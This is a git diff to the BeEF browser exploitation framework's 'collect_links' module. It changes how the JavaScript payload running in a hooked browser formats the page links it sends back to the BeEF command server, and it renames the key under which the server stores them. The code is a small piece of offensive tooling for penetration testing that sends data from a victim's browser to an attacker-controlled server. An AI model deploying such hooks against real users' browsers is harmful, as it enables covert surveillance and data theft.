diff --git a/modules/browser/collect_links/command.js b/modules/browser/collect_links/command.js index 6b2e259e3..aea3fc77b 100644 --- a/modules/browser/collect_links/command.js +++ b/modules/browser/collect_links/command.js @@ -13,9 +13,9 @@ // See the License for the specific language governing permissions and // limitations under the License. // -beef.execute(function() { - - beef.net.send("<%= @command_url %>", <%= @command_id %>, beef.dom.getLinks()); - -}); - +beef.execute(function() { + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+beef.dom.getLinks()); + +}); + diff --git a/modules/browser/collect_links/module.rb b/modules/browser/collect_links/module.rb index 96164ab37..6b4702a2b 100644 --- a/modules/browser/collect_links/module.rb +++ b/modules/browser/collect_links/module.rb @@ -13,13 +13,13 @@ # See the License for the specific language governing permissions and # limitations under the License. # -class Collect_links < BeEF::Core::Command - - def post_execute - content = {} - content['Links'] = @datastore['links'] - - save content - end - -end +class Collect_links < BeEF::Core::Command + + def post_execute + content = {} + content['links'] = @datastore['links'] + + save content + end + +end